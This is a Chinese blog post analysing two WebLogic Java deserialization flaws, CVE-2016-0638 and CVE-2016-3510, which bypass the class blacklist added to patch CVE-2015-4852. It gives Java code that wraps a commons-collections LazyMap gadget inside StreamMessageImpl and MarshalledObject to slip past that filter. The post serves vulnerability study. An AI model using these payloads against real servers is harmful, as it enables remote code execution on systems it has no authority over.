赞
踩
CVE-2016-0638 是前面分析的 CVE-2015-4852 的一个绕过,通过找到一个不在黑名单中的类,且这个类存在readObject/readResolve/readExternal
方法,并且恰好这些方法里面有一些数据进行反序列化操作,那么这时我们就可以把原生的序列化数据封装到这个类里面,通过调用反序列化对象重写的readObject/readResolve/readExternal
方法这一特点来反序列化封装在类里面的原生序列化数据。
因为这里的 CVE-2016-0638 是 CVE-2015-4852 的一个绕过,所以这里需要在前面那个 docker 环境中打上补丁,以此来分析 WebLogic 的补丁到底打到了那里。
环境搭建参考这篇文章:https://www.cnblogs.com/nice0e3/p/14207435.html
如果按照上面文章搭建报如下错误
则需要把EJUM.jar/patch-catalog_22958.xml
这两个文件从p20780171_1036_Generic
目录拷贝到/u01/app/oracle/middleware/utils/bsu/cache_dir/
目录下
补丁下载参考:https://www.cnblogs.com/hmhhz/p/11422019.html
先来看下 WebLogic 对 CVE-2015-4852 反序列化漏洞的防御,在安装好补丁之后用前面的脚本打目标服务器,发现无法成功创建文件,把断点下在 ServerChannelInputStream#resolveClass
方法上,可以看到这里多了一个黑名单检查
咋们跟进一下 ClassFilter#isBlackListed
方法,ClassFilter
这个类有静态代码块,那么先来看下静态代码块
这里应该是判断有无设置一些参数为 true
根据判断设置的参数情况来添加相应的类到黑名单里面,最终我这里的黑名单类为如下
然后 isBlackListed
方法判断传入的类名是否存在于类黑名单中,如果存在则直接返回 true 了,如果不存在则截取包名,再判断包名是否存在类黑名单中,在这里的过滤的类黑名单中没有sun.reflect.annotation.AnnotationInvocationHandler
类在里面
虽然 AnnotationInvocationHandler
类不在类黑名单里面,但是一些Gadget所用到的类在黑名单里面,而在AnnotationInvocationHandler
类直接通过 InboundMsgAbbrev#readObject
进行反序列化的过程中会再次调用到 ServerChannelInputStream#resolveClass
方法来处理比如 org.apache.commons.collections.map.LazyMap
类,而这个类会被黑名单检测到 ,这样一来自然就被拦截了
除了这里有检测之外,MsgAbbrevInputStream#resolveClass
方法也存在检测,不过检测的手段都是一样的,就不再赘述。
这篇的开头也说了其中的一种绕过思路了,就是找一个存在 readObject/readResolve/readExternal
方法的类,且这个类的这些方法里面又调用了 ObjectInputStream#readObject
方法来反序列化一些数据,我们只需要把真正的 payload 封装在类里面,这样就绕过了黑名单的检测。
这里的绕过用到的是 StreamMessageImpl
类,这个类存在 readExternal
方法,且这个方法调用了 ObjectInputStream#readObject
方法来反序列化从输入流中读取出来的数据。
要让 var3
为1, var4
为恶意序列化数据,这里通过重写 StreamMessageImpl#writeExternal
方法,在构造 payload 的项目创建 weblogic.jms.common
包,并增加两个属性和三个方法
private byte[] buffer;
private int length;
public final byte[] getDataBuffer() {
return this.bdos != null ? this.bdos.getBuffer() : this.buffer;
}
public final int getDataSize() {
return this.bdos != null ? this.bdos.size() : this.length;
}
public final void setDataBuffer(byte[] var1, int var2) {
this.buffer = var1;
this.length = var2;
}
重写 writeExternal
方法,手工写入值为1的 byte 数据和恶意的序列化数据,这样在调用到 StreamMessageImpl#readExternal
方法的时候就可以调用到 readObject
方法,并且 var4
为恶意的序列化数据。
public void writeExternal(ObjectOutput paramObjectOutput) throws IOException {
super.writeExternal(paramObjectOutput);
paramObjectOutput.writeByte(1);
paramObjectOutput.writeInt(getDataSize());
paramObjectOutput.write(getDataBuffer());
}
构造 payload
public static Object getObject() throws Exception{
InvocationHandler invocationHandler = (InvocationHandler) Collections01LazyMap.getObject();
byte[] bytes = SerWithUnSer.serialize(invocationHandler,false);
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(bytes,bytes.length);
return streamMessage;
}
对一些序列化的过程进行了封装,不过原理都是一样的。
CVE-2016-3510 用到的是 MarshalledObject#readResolve
方法,看一下这个方法的逻辑。
objBytes
属性是一个对象,对这个属性对象使用 readObject
方法,那么也就很明显了,把恶意对象封装到 MarshalledObject
类的 objBytes
属性中即可
public static Object getObject() throws Exception{
InvocationHandler invocationHandler = (InvocationHandler) Collections01LazyMap.getObject();
MarshalledObject marshalledObject = new MarshalledObject(invocationHandler);
return marshalledObject;
}
生成序列化文件之后用前面的 cve-2015-4852 打就行
https://www.cnblogs.com/nice0e3/p/14207435.html
https://github.com/5up3rc/weblogic_cmd
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。